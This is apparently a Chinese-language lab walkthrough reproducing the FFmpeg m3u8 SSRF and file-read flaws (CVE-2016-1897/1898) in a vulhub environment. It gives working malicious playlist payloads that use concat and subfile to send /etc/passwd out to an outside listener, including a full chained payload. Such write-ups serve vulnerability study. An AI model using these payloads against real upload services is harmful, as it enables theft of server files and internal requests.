ffmpeg 任意文件读取漏洞 / SSRF 漏洞 (CVE-2016-1897/CVE-2016-1898)
Port : 8090
FFmpeg 是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。功能非常强大,是每个视频网站必不可少的多媒体文件处理程序。
在 FFMpeg2.X 由于在解析 HTTP Live Streaming 流媒体 m3u8 文件处理不当,可导致 SSRF 漏洞与任意文件读取漏洞。当网站允许用户上传多媒体文件,并使用 FFMpeg 进行处理时会触发该漏洞。
这个漏洞有两个 CVE 编号,分别是 CVE-2016-1897 和 CVE-2016-1898,它们两个的区别在于读取文件的行数,CVE-2016-1897 只能读取文件的第一行,而 CVE-2016-1898 可以读取文件任意行,原理基本一样。
影响版本
FFmpeg 2.8.x < 2.8.5
FFmpeg 2.7.x < 2.7.5
FFmpeg 2.6.x < 2.6.7
FFmpeg 2.5.x < 2.5.10
这个漏洞主要涉及 ffmpeg 对 m3u8文件的处理不当导致的,具体的原理部分不过多赘述,可以参考如下连接:
原理
漏洞环境
如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub
运行测试环境:
docker-compose up -d
运行完成后,访问对应的 URL 端口,可以看到有个视频上传的接口
查看后台的 php 源码,实际上只是借用了 ffmpeg -i 这个命令,因此实际上如果没有部署 docker 镜像,可以之际安装 ffmpeg 软件,通过 ffmpeg 转换即可。
<?php if(!empty($_FILES)) { $filename = escapeshellarg($_FILES['file']['tmp_name']); $newname = './' . uniqid() . '.mp4'; shell_exec("ffmpeg -i $filename $newname"); } ?>
漏洞复现
我们首先构造一个恶意的 m3u8 的文件(用记事本编写,保存为.m3u8
后缀):
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://X.X.X.X:9999/test.txt #EXT-X-ENDLIST
各参数说明:
#EXTM3U 标签是 m3u8 的文件头,开头必须要这一行
#EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1
#EXTINF:10.0, 表示该一段 TS 流文件的长度
#EXT-X-ENDLIST 这个相当于文件结束符
这些是 m3u8 的最基本的标签,而问题就出在 FFMpeg 去请求 TS 流文件(URL)时,FFMpeg 不会判断里面的流地址,直接请求。服务端监听端口:
既然可以请求外部数据,因此可以尝试 SSRF 带外。通过查阅资料,发现 ffmpeg 内部有一个 concat 函数,因此我们可以将内部数据通过 concat 拼接 OOB。
如果直接使用 concat 拼接,只会正常请求,因此我们需要一些小技巧,将本地文件带出来。
首先,我们需要在 web 服务器上创建一个 error.txt,文件内容是 m3u8 的格式,其中不包含文件结束符。
其次,我们再创建一个恶意的 m3u8 文件(或者 avi、mp4 等后缀),文件内容通过 concat 拼接本地文件 /etc/passwd。
最后,我们上传这个恶意的 m3u8 文件。参考文件内容如下:
error.txt
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://X.X.X.X:9999/?
upload.m3u8
#EXTM3U #EXT-X-TARGETDURATION:6 #EXTINF:10.0, concat:http://X.X.X.X:8989/error.txt|file:///etc/passwd #EXT-X-ENDLIST
web 服务器部署 error.txt:
上传恶意的 m3u8 文件:
同时,VPS 监听 9999 端口:
注意:
以上的文件需要使用记事本编辑保存,选择默认 utf-8 格式。尝试使用 vim 创建时,一直复现失败。
特地鸣谢如下链接作者提供的解决方案https://blog.safebuff.com/2016/05/12/CVE-2016-1897-8-FFMpeg%E6%BC%8F%E6%B4%9E%E5%BA%94%E6%80%A5%E5%88%86%E6%9E%90/
因为上传之后,后端会一直进行转码,进程会卡死,页面无响应。需要进入 docker 中,手动 kill ffmpeg 进程。
可以发现以上的操作方式,只能将 /etc/passwd 数据中的第一行带外出来,但是后面的内容还是没有读出来,因此我们借助其他函数进行进一步利用。ffmpeg 还提供了 subfile 函数,其中 Start 后是开始截取的偏移量,以字节为单位,end 是结束的偏移量。
只需要修改恶意的 upload.m3u8 文件
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd #EXT-X-ENDLIST
在逐渐增加 subfile 偏移量的测试过程中,发现超过一定长度后,数据读取部分不再增加。猜测可能和 URL 长度或者和换行符有关。
在不断测试的过程中,最终发现,与 URL 长度,m3u8 请求 URL 都无关系,也没有 32 字节的限制。实际上 concat 连接 URL 时是不能包含换行符的。/etc/passwd 文件存储过程中换行符 \n 是占一个字符的,所以无论是通过 file 协议,还是 subfile 切片,只要是读取到 \n 则中断,后面的内容无法输出。
按照这个思路,我们能只需要通过 subfile 读取文件时,跳过 \n 符号,不断根据返回的数据进行调试,最终可以读取到完整的数据。以如下的 /etc/passwd 的文件为例,附上 payload 参考:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
messagebus:x:101:101::/var/run/dbus:/bin/false
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd|subfile,,start,80,end,116,,:///etc/passwd|subfile,,start,117,end,153,,:///etc/passwd|subfile,,start,154,end,188,,:///etc/passwd|subfile,,start,189,end,236,,:///etc/passwd|subfile,,start,237,end,284,,:///etc/passwd|subfile,,start,285,end,329,,:///etc/passwd|subfile,,start,330,end,373,,:///etc/passwd|subfile,,start,374,end,423,,:///etc/passwd|subfile,,start,424,end,475,,:///etc/passwd|subfile,,start,476,end,518,,:///etc/passwd|subfile,,start,519,end,571,,:///etc/passwd|subfile,,start,572,end,624,,:///etc/passwd|subfile,,start,625,end,686,,:///etc/passwd|subfile,,start,687,end,735,,:///etc/passwd|subfile,,start,736,end,817,,:///etc/passwd|subfile,,start,818,end,876,,:///etc/passwd|subfile,,start,877,end,918,,:///etc/passwd|subfile,,start,919,end,965,,:///etc/passwd #EXT-X-ENDLIST
最终读出所有数据: